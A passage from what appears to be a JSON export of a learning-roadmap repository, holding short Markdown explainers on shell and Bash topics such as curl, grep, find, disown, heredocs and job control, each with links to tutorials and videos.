    "content": "# curl\n\ncurl is a command-line tool used to transfer data with URLs. It supports various protocols like HTTP, HTTPS, FTP, and more, allowing you to download files, send data to servers, and interact with APIs directly from the command line. It's a versatile tool for automating tasks involving network communication.\n\nVisit the following resources to learn more:\n\n- [@official@curl](https://curl.se/)\n- [@official@The Art Of Scripting HTTP Requests Using curl](https://curl.se/docs/httpscripting.html)\n- [@opensource@curl](https://github.com/curl/curl)\n- [@article@How to start using Curl and why: a hands-on introduction](https://medium.com/free-code-camp/how-to-start-using-curl-and-why-a-hands-on-introduction-ea1c913caaaa)\n- [@video@Supercharge Your Workflow with cURL | Understanding The cURL Command-Line Tool](https://www.youtube.com/watch?v=-nnJ82uc2ic)\n- [@video@You NEED to know how to use CURL!](https://www.youtube.com/watch?v=q2sqkvXzsw8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/cut-paste@EU-UAaRVY2s_PLZHJWf9z.md",
    "content": "# cut and paste\n\n`cut` and `paste` are command-line utilities used for manipulating text files. `cut` extracts specific sections (columns) from each line of a file based on delimiters or character positions. `paste` merges lines from multiple files into a single output stream, typically by concatenating corresponding lines side-by-side.\n\nVisit the following resources to learn more:\n\n- [@article@Cut Command in Linux | Linuxize](https://linuxize.com/post/linux-cut-command/)\n- [@article@Paste Command in Linux (Merge Lines) | Linuxize](https://linuxize.com/post/paste-command-in-linux/)\n- [@video@Linux Crash Course - The cut Command](https://www.youtube.com/watch?v=GYP2T34v56E)\n- [@video@Linux Tutorials | paste command](https://www.youtube.com/watch?v=ilV6dcTJzzE)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/dash@BP7hfSSD13DM2np0zaGBB.md",
    "content": "# dash\n\ndash (Debian Almquist Shell) is a Unix shell that is smaller, faster, and requires fewer resources compared to Bash. It's often used as the default `/bin/sh` on Debian-based systems and is designed to be POSIX-compliant, focusing on speed and efficiency in script execution. This makes it suitable for boot scripts and other system-level tasks where resource usage is critical.\n\nVisit the following resources to learn more:\n\n- [@article@Dash - Wikipedia](https://en.wikipedia.org/wiki/Almquist_shell#dash)\n- [@article@Dash](https://wiki.archlinux.org/title/Dash)\n- [@article@What is Dash Shell in Linux?](https://linuxhandbook.com/dash-shell/)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/debugging@fR3sok0EJTGHELbPO6MAW.md",
    "content": "# Debugging\n\nDebugging is the process of identifying and removing errors or defects from software code. It involves systematically testing, analyzing, and correcting issues that cause a program to behave unexpectedly or produce incorrect results. Effective debugging relies on using tools and techniques to trace the flow of execution, inspect variable values, and pinpoint the source of the problem.\n\nVisit the following resources to learn more:\n\n- [@article@Debugging Bash scripts](https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_02_03.html)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/df-du@rmSSz2ka9e1nQwx18Ofy8.md",
    "content": "# df and du Commands\n\n`df` (disk free) and `du` (disk usage) are command-line utilities used to monitor disk space on Unix-like operating systems. `df` provides a summary of available and used disk space on mounted file systems, while `du` estimates the file space usage of files and directories. Together, they help system administrators understand how storage is being utilized and identify potential space issues.\n\nVisit the following resources to learn more:\n\n- [@article@Bash df Command - File System Disk Space Usage](https://www.w3schools.com/bash/bash_df.php)\n- [@article@Bash du Command - File Space Usage](https://www.w3schools.com/bash/bash_du.php)\n- [@video@Linux Crash Course - The df and du Commands](https://www.youtube.com/watch?v=ZRs5zVv_1UU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/direct-execution@9xn7KfHZYPseAixtw_dtG.md",
    "content": "# Direct Execution\n\nDirect execution involves running a shell script by specifying its path directly to the shell. This method requires the script to have execute permissions set. When you directly execute a script, the operating system uses the shebang line (e.g., `#!/bin/bash`) at the beginning of the script to determine which interpreter should be used to execute the script's commands.\n\nVisit the following resources to learn more:\n\n- [@article@Sourcing vs Executing Script Directly](https://dillionmegida.com/p/sourcing-vs-executing-script-directly/)\n- [@video@Source Shell Script vs Executing Shell Script - The Real Difference](https://www.youtube.com/watch?v=ZIqRmp-XBRY)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/disown@Qs07iAbFbJk97xHpo10dO.md",
    "content": "# disown\n\n`disown` is a shell built-in command used to remove jobs from the shell's job control. When you start a process in the background (using `&`), the shell keeps track of it. If you close the terminal, the shell usually sends a SIGHUP signal to these background processes, which often causes them to terminate. `disown` removes a process from this job control, preventing the shell from sending that signal when the terminal closes, allowing the process to continue running independently.\n\nVisit the following resources to learn more:\n\n- [@article@Linux / Unix: disown Command Examples](https://www.cyberciti.biz/faq/unix-linux-disown-command-examples-usage-syntax/)\n- [@article@How to Use Disown Command in Linux](https://phoenixnap.com/kb/disown-command-linux)\n- [@video@Linux | Background Process Basics and Signals | & , disown, nohup](https://www.youtube.com/watch?v=OQpnQgvmbhY)\n- [@video@How to use the disown command: 2-Minute Linux Tipsv](https://www.youtube.com/watch?v=B66HKmP03Xo)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/dnf@iE263510iTgm3OEeB9b77.md",
    "content": "# dnf\n\ndnf is a package manager for RPM-based Linux distributions, serving as the successor to YUM (Yellowdog Updater, Modified). It is used to install, update, and remove software packages, as well as manage dependencies. dnf aims to improve upon YUM by offering better performance, more features, and a more modern architecture.\n\nVisit the following resources to learn more:\n\n- [@article@Using the DNF software package manager](https://docs.fedoraproject.org/en-US/quick-docs/dnf/)\n- [@video@Linux Crash Course - The dnf Command](https://www.youtube.com/watch?v=mL1hMBYP1bQ&t=1529s)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/echo@k45FWrNrRuIp6HEN3ysTd.md",
    "content": "# Echo\n\n`echo` is a fundamental command-line utility used to display lines of text. It essentially prints its arguments to standard output, which is typically your terminal screen. This makes it useful for displaying messages, variable values, or the output of other commands within shell scripts.\n\nVisit the following resources to learn more:\n\n- [@article@Bash echo Command - Display Text](https://www.w3schools.com/bash/bash_echo.php)\n- [@video@The Echo Command | Linux Essential Commands](https://www.youtube.com/watch?v=Tj-9tahWvok)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/emacs@AiDr7sOJkSN6p346jcDpJ.md",
    "content": "# Emacs\n\nEmacs is a highly customizable and extensible text editor, known for its powerful features and extensive ecosystem of extensions. It's more than just a text editor; it's often described as an operating system within an operating system due to its ability to handle tasks like file management, email, and even web browsing, all within its environment. Emacs is favored by programmers and power users who appreciate its flexibility and control over their editing environment.\n\nVisit the following resources to learn more:\n\n- [@official@GNU Emacs](https://www.gnu.org/software/emacs/)\n- [@article@How To Use the Emacs Editor in Linux | DigitalOcean](https://www.digitalocean.com/community/tutorials/how-to-use-the-emacs-editor-in-linux)\n- [@video@The Absolute Beginner's Guide to Emacs](https://www.youtube.com/watch?v=48JlgiBpw_I)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/environment-vs-shell-vars@1mBAGIrg4ohvJcJ-y8Kbl.md",
    "content": "# Environment vs. Shell Variables\n\nEnvironment variables are a set of dynamic named values that can affect the way running processes will behave on a computer. They are part of the environment in which a process runs. Shell variables, on the other hand, are variables that are specific to the current shell session and are not automatically inherited by child processes. They are used to store temporary values or configure the shell's behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Environment and Shell variables In Linux](https://www.futurelearn.com/info/courses/linux-for-bioinformatics/0/steps/201724)\n- [@article@How To Read and Set Environmental and Shell Variables on Linux](https://www.digitalocean.com/community/tutorials/how-to-read-and-set-environmental-and-shell-variables-on-linux)\n- [@video@shell vs environment variables (and env, export, etc.) (intermediate) anthony explains](https://www.youtube.com/watch?v=h36Xc38SDHg)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/error-handling@aNpvGNnV0q-7emxJVJow2.md",
    "content": "# Error Handling\n\nError handling in shell scripting refers to the methods and techniques used to detect, manage, and respond to errors that occur during the execution of a script. It involves checking the exit status of commands, using conditional statements to handle different error scenarios, and implementing mechanisms to gracefully exit or recover from errors, ensuring the script's reliability and preventing unexpected behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Error handling in Bash scripts](https://www.redhat.com/en/blog/error-handling-bash-scripting)\n- [@article@Writing Bash Scripts Like A Pro - Part 2 - Error Handling](https://dev.to/unfor19/writing-bash-scripts-like-a-pro-part-2-error-handling-46ff)\n- [@video@Shell Script Error Handling: Master Bash Scripting for Robust Code](https://www.youtube.com/watch?v=uFJiDD1B5I4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/error-logging@Qs5jcx6d643cJDdhkPPxD.md",
    "content": "# Error Logging\n\nError logging is the process of recording errors that occur during the execution of a script or program. This involves capturing information about the error, such as the type of error, the time it occurred, and the location in the code where it happened. Effective error logging facilitates debugging, troubleshooting, and monitoring application health by providing a historical record of issues.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Logging and Error Reporting Exercises, Solutions & Explanation](https://www.w3resource.com/bash-script-exercises/logging-and-error-reporting.php)\n- [@article@Standard Error and Logging in Shell Scripts](https://codesignal.com/learn/courses/bash-script-error-handling/lessons/standard-error-and-logging-in-shell-scripts)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/error-redirection@zu0hsOt8GVlARhbepjQ1A.md",
    "content": "# Error Redirection\n\nError redirection in shell scripting involves capturing and managing error messages generated by commands. By default, standard error (stderr) is displayed on the terminal. Error redirection allows you to redirect these error messages to a file, discard them, or pipe them to another command for further processing, providing better control over script output and debugging.\n\nVisit the following resources to learn more:\n\n- [@article@How to Redirect Standard (stderr) Error in Bash](https://www.geeksforgeeks.org/linux-unix/how-to-redirect-standard-stderr-error-in-bash/)\n- [@video@Understanding stdin, stdout, stderr in Python](https://www.youtube.com/watch?v=4HY0VBBY7ok)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/exit-codes@fG4D7iuiCDlV1PFwMfAdM.md",
    "content": "# Exit Codes\n\nExit codes are numerical values returned by a program or script upon completion. These codes signal whether the execution was successful or if any errors occurred. By convention, an exit code of 0 typically indicates success, while any non-zero value signifies a failure or specific error condition. These codes are crucial for scripting and automation, allowing scripts to make decisions based on the outcome of previous commands.\n\nVisit the following resources to learn more:\n\n- [@article@Linux bash exit status and how to set exit status in bash](https://www.cyberciti.biz/faq/linux-bash-exit-status-set-exit-statusin-bash/)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/exit@JB_FThjpxO-7G01XrKDPi.md",
    "content": "# Exit Codes\n\nExit codes are numerical values returned by a program or script upon completion. These codes signal whether the execution was successful or if any errors occurred. By convention, an exit code of 0 typically indicates success, while any non-zero value signifies a failure or specific error condition. These codes are crucial for scripting and automation, allowing scripts to make decisions based on the outcome of previously executed commands."
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/expr@VOYYJUqKqkTRaxqUip8yr.md",
    "content": "# Expr\n\n`expr` is a command-line utility used to evaluate expressions. It can perform arithmetic operations, string manipulations, and logical comparisons. The `expr` command takes arguments as operands and operators, evaluates the expression, and writes the result to standard output. It's often used in shell scripts for performing calculations and making decisions based on numerical or string values.\n\nVisit the following resources to learn more:\n\n- [@article@Bash expr with Examples](https://linuxopsys.com/bash-expr-with-examples)\n- [@article@Practical examples of “expr” command in Linux](https://tecadmin.net/expr-command-examples/)\n- [@video@Linux Tutorial for Beginners | expr command | Evaluate Expressions in Linux](https://www.youtube.com/watch?v=6LbMLSBoLGY)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/extended-regex@6IzuWNaMVjjyQV-KLqRlX.md",
    "content": "# Extended Regular Expressions\n\nExtended regular expressions (EREs) are a more powerful and flexible version of basic regular expressions. They offer additional metacharacters and features that simplify pattern matching and make complex searches easier to express. EREs are commonly used with tools like `grep -E`, `awk`, and `sed -E` in shell scripting.\n\nVisit the following resources to learn more:\n\n- [@article@Extended Regular Expressions](https://pressbooks.senecapolytechnic.ca/uli101/chapter/extended-regular-expressions/)\n- [@article@Advanced Bash regex with examples](https://linuxconfig.org/advanced-bash-regex-with-examples)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/fg-bg@Ey38pCn0vlhZXLrJChtIW.md",
    "content": "# fg and bg\n\n`fg` and `bg` are shell commands used to manage processes. `bg` moves a process to the background, allowing you to continue using the terminal while the process runs. `fg` brings a background process to the foreground, giving it control of the terminal. This is useful for managing long-running tasks or temporarily pausing a process.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Commands: jobs, bg, and fg](https://www.redhat.com/en/blog/jobs-bg-fg)\n- [@article@Job Control Commands](https://tldp.org/LDP/abs/html/x9644.html)\n- [@article@How To Use Bash's Job Control to Manage Foreground and Background Processes](https://www.digitalocean.com/community/tutorials/how-to-use-bash-s-job-control-to-manage-foreground-and-background-processes)\n- [@video@Master the Linux Command Line: Background & Foreground Jobs to Swap Tasks with the fg and bg Command](https://www.youtube.com/watch?v=Ak7cFJ1-Ewo)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/file-permissions@zxdwDMOVAoP8IgUqrggKq.md",
    "content": "# File Permissions\n\nFile permissions in Unix-like operating systems, such as Linux and macOS, control who can access and modify files and directories. These permissions are typically represented by three categories: owner, group, and others. Each category can have read, write, and execute permissions, determining what actions users in that category can perform on the file or directory.\n\nVisit the following resources to learn more:\n\n- [@article@File permissions](https://linuxcommand.org/lc3_lts0090.php)\n- [@video@Linux File Permissions in 5 Minutes | MUST Know!](https://www.youtube.com/watch?v=LnKoncbQBsM)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/file-test@PuV5XtaeKgb9vdFIKta5M.md",
    "content": "# File Test Operators\n\nFile test operators in Bash are used to check the type and attributes of files. These operators allow you to determine if a file exists, if it's a regular file or a directory, if it's readable, writable, or executable, and other file-related properties. The result of a file test is a boolean value (true or false), which can be used in conditional statements to control the flow of a script.\n\nVisit the following resources to learn more:\n\n- [@article@File test operators](https://tldp.org/LDP/abs/html/fto.html)\n- [@article@Bash Tests](https://docs.rockylinux.org/10/books/learning_bash/05-tests/)\n- [@video@Shell Scripting Tutorial for Beginners 6 - File test operators](https://www.youtube.com/watch?v=uVi5o38NGi0)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/files--directories@DUUstDjzKKAXN1IXzbqjt.md",
    "content": "# Files & Directories\n\nFiles and directories are fundamental building blocks of a file system. Files store data, such as text, images, or executable code. Directories, also known as folders, organize files and other directories in a hierarchical structure, allowing users to navigate and manage their data effectively."
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/find@pAb3O3Isca9u6yK5mqWQ2.md",
    "content": "# Find\n\nThe `find` command is a powerful utility used to locate files and directories within a file system hierarchy. It allows you to search based on various criteria, such as name, size, modification time, permissions, and file type. The `find` command recursively traverses directories, making it suitable for locating files across an entire file system or within specific subdirectories.\n\nVisit the following resources to learn more:\n\n- [@article@10 ways to use the Linux find command](https://www.redhat.com/en/blog/linux-find-command)\n- [@video@Linux Crash Course - The find command](https://www.youtube.com/watch?v=skTiK_6DdqU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/find@ud8fTxgvvbhCyyAxJA6lc.md",
    "content": "# Find\n\n`find` is a command-line utility for searching files and directories within a specified directory hierarchy. It allows you to locate files based on various criteria, such as name, type, size, modification time, permissions, and more. The `find` command recursively traverses the directory structure, applying the specified search criteria to each file and directory it encounters, and then displays the results that match.\n\nVisit the following resources to learn more:\n\n- [@article@10 ways to use the Linux find command](https://www.redhat.com/en/blog/linux-find-command)\n- [@video@Linux Crash Course - The find command](https://www.youtube.com/watch?v=skTiK_6DdqU)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/fish@LjkmfTYWMrOKLSqtpyKGk.md",
    "content": "# fish\n\nfish is a user-friendly command-line shell for UNIX-like operating systems. It focuses on providing a more interactive and discoverable experience compared to traditional shells like Bash or Zsh. Key features include autosuggestions, syntax highlighting, and a simplified scripting language.\n\nVisit the following resources to learn more:\n\n- [@opensource@fish-shell](https://github.com/fish-shell/fish-shell)\n- [@article@Finally, a command line shell for the 90s](https://fishshell.com/)\n- [@article@Why I use Fish Shell](https://medium.com/@desjoerdhaan/why-i-use-fish-shell-e5272e0770bf)\n- [@video@FISH (Friendly Interactive Shell) by Bash Boomer](https://www.youtube.com/watch?v=C2a7jJTh3kU)\n- [@video@The BEST Shell You’re Not Using - Fish](https://www.youtube.com/watch?v=lzTDo1KsL-I)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/for@zE7sS5VNUbEbt1y2iSvEi.md",
    "content": "# For Loops\n\nA \"for\" loop is a control flow statement that allows you to repeatedly execute a block of code a specific number of times or for each item in a list. It's a fundamental programming construct used to automate repetitive tasks and iterate over collections of data. The loop continues until a specified condition is met, making it a powerful tool for processing data and performing actions multiple times.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Loops](https://www.w3schools.com/bash/bash_loops.php)\n- [@article@Bash For Loop Examples](https://www.cyberciti.biz/faq/bash-for-loop/)\n- [@video@What are Loops in Bash? [18 of 20] | Bash for Beginners](https://www.youtube.com/watch?v=aEm96vacnkw)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/free@8Ll6sByPqMnjVms5J1ns5.md",
    "content": "# Free\n\n`free` is a command-line utility used to display the amount of free and used physical and swap memory in a system. It provides a snapshot of the memory usage at a given point in time, showing total memory, used memory, free memory, shared memory, buffer/cache memory, and available memory. This information is crucial for understanding how efficiently a system is utilizing its memory resources and identifying potential memory bottlenecks.\n\nVisit the following resources to learn more:\n\n- [@article@Bash free Command - Display Free and Used Memory](https://www.w3schools.com/bash/bash_free.php)\n- [@article@Free Command in Linux](https://linuxize.com/post/free-command-in-linux/)\n- [@article@Using the Linux Free Command With Examples](https://www.turing.com/kb/how-to-use-the-linux-free-command)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/function-scopes@lil5vo78g474F1yomar9y.md",
    "content": "# Function Scopes\n\nFunction scope determines the visibility and accessibility of variables within a function. In shell scripting, variables can have either global or local scope. Global variables are accessible from anywhere in the script, including within functions, while local variables are only accessible within the function where they are defined. Understanding scope is crucial for avoiding naming conflicts and ensuring that functions operate predictably.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Functions](https://linuxize.com/post/bash-functions/)\n- [@article@Bash Functions – Declaration, Scope, Arguments, etc](https://www.webservertalk.com/bash-functions/)\n- [@video@Crash-Course! Functions in Bash quickly explained and demystified!](https://www.youtube.com/watch?v=0tycTrpbWKs)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/functions@peZDR615PgGw7TQalyG_2.md",
    "content": "# Functions\n\nFunctions in shell scripting are reusable blocks of code that perform a specific task. They allow you to organize your scripts, avoid repetition, and make your code more readable and maintainable. You can define a function, give it a name, and then call it multiple times throughout your script, passing arguments if needed.\n\nVisit the following resources to learn more:\n\n- [@article@Bash Functions](https://www.w3schools.com/bash/bash_functions.php)\n- [@video@Crash-Course! Functions in Bash quickly explained and demystified!](https://www.youtube.com/watch?v=0tycTrpbWKs)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/grep@ZqAwAme_yvasmYHEZID1G.md",
    "content": "# grep\n\n`grep` is a command-line utility used for searching plain-text data sets for lines matching a regular expression. It outputs the lines that contain the specified pattern, making it a powerful tool for filtering and locating specific information within files or streams of data. Its name comes from the ed command `g/re/p` (globally search a regular expression and print).\n\nVisit the following resources to learn more:\n\n- [@article@Mastering Grep command in Linux/Unix: A Beginner's Tutorial](https://www.digitalocean.com/community/tutorials/grep-command-in-linux-unix)\n- [@article@Bash grep Command - Search Text Using Patterns](https://www.w3schools.com/bash/bash_grep.php)\n- [@video@Linux Crash Course - The grep Command](https://www.youtube.com/watch?v=Tc_jntovCM0)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/gzip-gunzip@b8ph0RGUpVWrgEQ05Wvgy.md",
    "content": "# gzip and gunzip\n\n`gzip` is a command-line utility used to compress files, reducing their size and making them easier to store or transmit. The compressed files typically have a `.gz` extension. `gunzip` is the corresponding command used to decompress files that have been compressed with `gzip`, restoring them to their original state.\n\nVisit the following resources to learn more:\n\n- [@article@Using gzip and gunzip in Linux](https://www.baeldung.com/linux/gzip-and-gunzip)\n- [@article@Linux gzip and gunzip: How to work with compressed files](https://alvinalexander.com/blog/post/linux-unix/how-work-compressed-files-gzip-zgrep-zcat/)\n- [@video@How to Archive Folders in Linux (tar and gzip tutorial) - Linux Crash Course Series](https://www.youtube.com/watch?v=2iwumBcfd58&t)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/head-tail@WSxairrSGlV0LEps2xeIC.md",
    "content": "# head and tail\n\n`head` and `tail` are command-line utilities used to display the beginning or end of a file, respectively. `head` shows the first few lines of a file, while `tail` shows the last few lines. They are useful for quickly inspecting log files, configuration files, or any text-based data without opening the entire file in a text editor.\n\nVisit the following resources to learn more:\n\n- [@article@Bash head Command - Display the beginning of a file](https://www.w3schools.com/bash/bash_head.php)\n- [@article@Bash tail Command - Display Last Part of Files](https://www.w3schools.com/bash/bash_tail.php)\n- [@video@Linux Crash Course - The head and tail Commands](https://www.youtube.com/watch?v=5EqL6Fc7NNw)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/help-commands@4yRwCKzvCctFpMD2mYiky.md",
    "content": "# Help Commands\n\nHelp commands in a shell environment provide users with information about available commands, their syntax, and options. They are essential tools for understanding how to use commands effectively and discovering new functionalities within the shell. These commands allow users to quickly access documentation and usage examples directly from the command line.\n\nVisit the following resources to learn more:\n\n- [@article@Bash man Command - User Manual](https://www.w3schools.com/bash/bash_man.php)\n- [@article@How to get help in Bash](https://nipunarat1997.medium.com/how-to-get-help-in-bash-9b101ee7d65a)\n- [@video@07 The Help Command Linux Shell Tutorials](https://www.youtube.com/watch?v=D4bSUqqaX3c)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/here-documents@WOoTpi1vAZpktjtQgG9GK.md",
    "content": "# Here Documents\n\nHere documents (or \"heredocs\") are a way to redirect multiple lines of input to a command. Instead of typing input directly into the terminal or reading from a file, you can embed the input directly within your script. This is particularly useful for passing multi-line strings or configuration data to commands.\n\nVisit the following resources to learn more:\n\n- [@article@Here documents](https://tldp.org/LDP/abs/html/here-docs.html)\n- [@article@Heredoc: A Deep Dive](https://medium.com/@oduwoledare/heredoc-a-deep-dive-23c82992e522)\n- [@video@Heredocs in Bash! Understanding how they work and a few gotchas. You Suck at Programming](https://www.youtube.com/watch?v=-a1VAole01s)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/here-strings@D0VV5UpW2X4mMghpp2fdo.md",
    "content": "# Here Strings\n\nHere strings provide a way to pass strings to commands as standard input. They are a simplified form of here documents, designed for single-line input. Instead of redirecting a file or typing input directly, you can embed the string directly within the command using the `<<<` operator. This is particularly useful for commands that expect input from stdin but you want to provide it inline within your script.\n\nVisit the following resources to learn more:\n\n- [@article@Here Strings](https://tldp.org/LDP/abs/html/x17837.html)\n- [@video@Here Strings in Bash! Redirecting a string into stdin. You Suck at Programming](https://www.youtube.com/watch?v=0cWuZvw8lXc)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/if@fz9XJLGkMPpq6TRJn3Hsh.md",
    "content": "# Conditionals - if\n\nThe `if` statement in shell scripting allows you to execute different blocks of code based on whether a certain condition is true or false. It's a fundamental control flow mechanism that enables scripts to make decisions and behave differently depending on the input or state of the system. The `if` statement evaluates an expression, and if the expression is true, a specific set of commands is executed. Otherwise, the script can optionally execute a different set of commands defined in `else` or `elif` blocks.\n\nVisit the following resources to learn more:\n\n- [@article@Bash If...Else](https://www.w3schools.com/bash/bash_conditions.php)\n- [@video@How To Write Bash Scripts In Linux - Complete Guide (Part 5 - If Statements)](https://www.youtube.com/watch?v=YrE1Qg-Aw0Q)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/ifconfig-ip@q-41zNMAJ-BYwrz_fZP60.md",
    "content": "# ifconfig and ip Commands\n\n`ifconfig` and `ip` are command-line utilities used to configure and manage network interfaces on Unix-like operating systems. They allow you to view, configure, and control network interfaces, including assigning IP addresses, setting network masks, and enabling or disabling interfaces. While `ifconfig` is an older tool, `ip` is the modern replacement offering more features and flexibility.\n\nVisit the following resources to learn more:\n\n- [@article@Linux ifconfig Command With Examples](https://phoenixnap.com/kb/linux-ifconfig)\n- [@article@Linux ip Command with Examples](https://phoenixnap.com/kb/linux-ip-command-examples)\n- [@video@How to Use the ip Command in Linux: A Beginner’s Guide](https://www.youtube.com/watch?v=wHfIFZlDxtU)\n- [@video@Using IPCONFIG for Network Troubleshooting](https://www.youtube.com/watch?v=k1qgpqQ0Mo4)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/input-redirection@Chfv9Fyy-Mk2zpOrYNbjV.md",
    "content": "# Input Redirection\n\nInput redirection enables a command to obtain its input from a source other than the standard input (typically the keyboard). Instead of typing input directly, a command can read data from a file or another command's output. This is achieved using operators like `<` to specify the input source.\n\nVisit the following resources to learn more:\n\n- [@article@Unix / Linux - Shell Input/Output Redirections](https://www.tutorialspoint.com/unix/unix-io-redirections.htm)\n- [@video@Linux Basics: How to use Linux Standard Input and Output](https://www.youtube.com/watch?v=YYz8Y_UBrvw&t=116s)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/inputoutput@n0sesqABTmbGYmcqlpH4b.md",
    "content": "# Input/Output\n\nInput/Output (I/O) refers to the communication between a computer program and the outside world. This involves receiving data (input) from sources like the keyboard, files, or other programs, and sending data (output) to destinations such as the terminal, files, or other programs. In essence, it's how a program interacts with its environment to receive instructions and display results."
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/introduction@lzzQWCFqpOnN2J_3Jck_3.md",
    "content": "# Introduction\n\nShell, often referred to as Bash (Bourne Again Shell), is a command-line interpreter. It acts as an interface between the user and the operating system, allowing users to execute commands, run scripts, and manage files. It interprets the commands entered by the user and instructs the operating system to perform the corresponding actions.\n\nVisit the following resources to learn more:\n\n- [@article@Shell - Wikipedia](https://en.wikipedia.org/wiki/Shell_(computing))\n- [@article@What is a Shell?](https://www.datacamp.com/blog/what-is-shell)\n- [@article@The Shell Scripting Tutorial](https://www.shellscript.sh/philosophy.html)\n- [@video@What Is a Shell ? | Learn How Shell Commands Work in the Terminal](https://www.youtube.com/watch?v=-qLrgCFynzE)\n- [@video@Shell Scripting Tutorial for Beginners 1 - Introduction](https://www.youtube.com/watch?v=cQepf9fY6cE&list=PLS1QulWo1RIYmaxcEqw5JhK3b-6rgdWO_)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/iostat-vmstat@lwul2wUhhCnXxKO6-ysX2.md",
    "content": "# iostat and vmstat\n\n`iostat` and `vmstat` are command-line utilities used for system monitoring. `iostat` reports CPU utilization and disk I/O statistics, providing insights into storage device performance. `vmstat` reports virtual memory statistics, including information about processes, memory, paging, block I/O, traps, and CPU activity, helping to identify performance bottlenecks related to memory and CPU usage.\n\nVisit the following resources to learn more:\n\n- [@article@Linux Performance Monitoring with Vmstat and Iostat Commands](https://www.tecmint.com/linux-performance-monitoring-with-vmstat-and-iostat-commands/)\n- [@article@Linux Performance Monitoring: Using Tools Like top, vmstat, and iostat](https://www.linuxjournal.com/content/linux-performance-monitoring-using-tools-top-vmstat-and-iostat)\n- [@article@Linux Performance Monitoring with Vmstat and Iostat Commands](https://www.tutorialspoint.com/linux-performance-monitoring-with-vmstat-and-iostat-commands)\n- [@video@037 Performance Monitoring with Vmstat and lostat](https://www.youtube.com/watch?v=c_My7gRuDb8)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/jobs@Sn7RlXc5dgD1gqDGikco-.md",
    "content": "# Jobs\n\nIn a shell environment, a job represents a process or a group of processes that are running in the background or foreground. The `jobs` command provides a way to list the currently active jobs, check their status (running, stopped, terminated), and manage them, such as bringing them to the foreground or terminating them. It's a crucial tool for controlling and monitoring processes initiated from the shell.\n\nVisit the following resources to learn more:\n\n- [@article@Job Control Basics](https://www.gnu.org/software/bash/manual/html_node/Job-Control-Basics.html)\n- [@article@Jobs and Job Control in Bash Shell](https://www.baeldung.com/linux/jobs-job-control-bash)\n- [@video@099 Bash Jobs & Signals - Bringing Jobs Back To The Command Line](https://www.youtube.com/watch?v=xu2lGV-kISI)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/join-split@rtzApgTlDTfC_rdCnU6xx.md",
    "content": "# Join and Split\n\n`join` and `split` are command-line utilities used for manipulating text files. `join` combines lines from two files based on a common field, creating a new file with the merged data. `split`, conversely, divides a single file into multiple smaller files, either by line count, file size, or a custom pattern.\n\nVisit the following resources to learn more:\n\n- [@article@Use Join Command in Linux: A Detailed Guide](https://linuxconfig.org/join)\n- [@article@Linux split Command {13 Examples}](https://phoenixnap.com/kb/linux-split)\n- [@video@LPIC-1 101 Using the join command](https://www.youtube.com/watch?v=b3Ybtr6xti4)\n- [@video@Linux - How to split larger files into smaller parts](https://www.youtube.com/watch?v=DaC5AWjmQXk)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/ksh@BnblV98Tul3QlyA1nIB63.md",
    "content": "# ksh\n\nksh, or the Korn shell, is an interactive command language and scripting language. It's designed to be backward-compatible with the Bourne shell (sh) while incorporating many features from other shells like csh. ksh offers improvements in scripting capabilities, command-line editing, and job control, making it a powerful tool for both interactive use and automating tasks.\n\nVisit the following resources to learn more:\n\n- [@article@ksh](http://www.kornshell.com/)\n- [@article@ksh - Wikipedia](https://en.wikipedia.org/wiki/KornShell)"
  },
  {
    "path": "src/data/roadmaps/shell-bash/content/less-more@kW_sjWK-rtGokfL_OByhM.md",
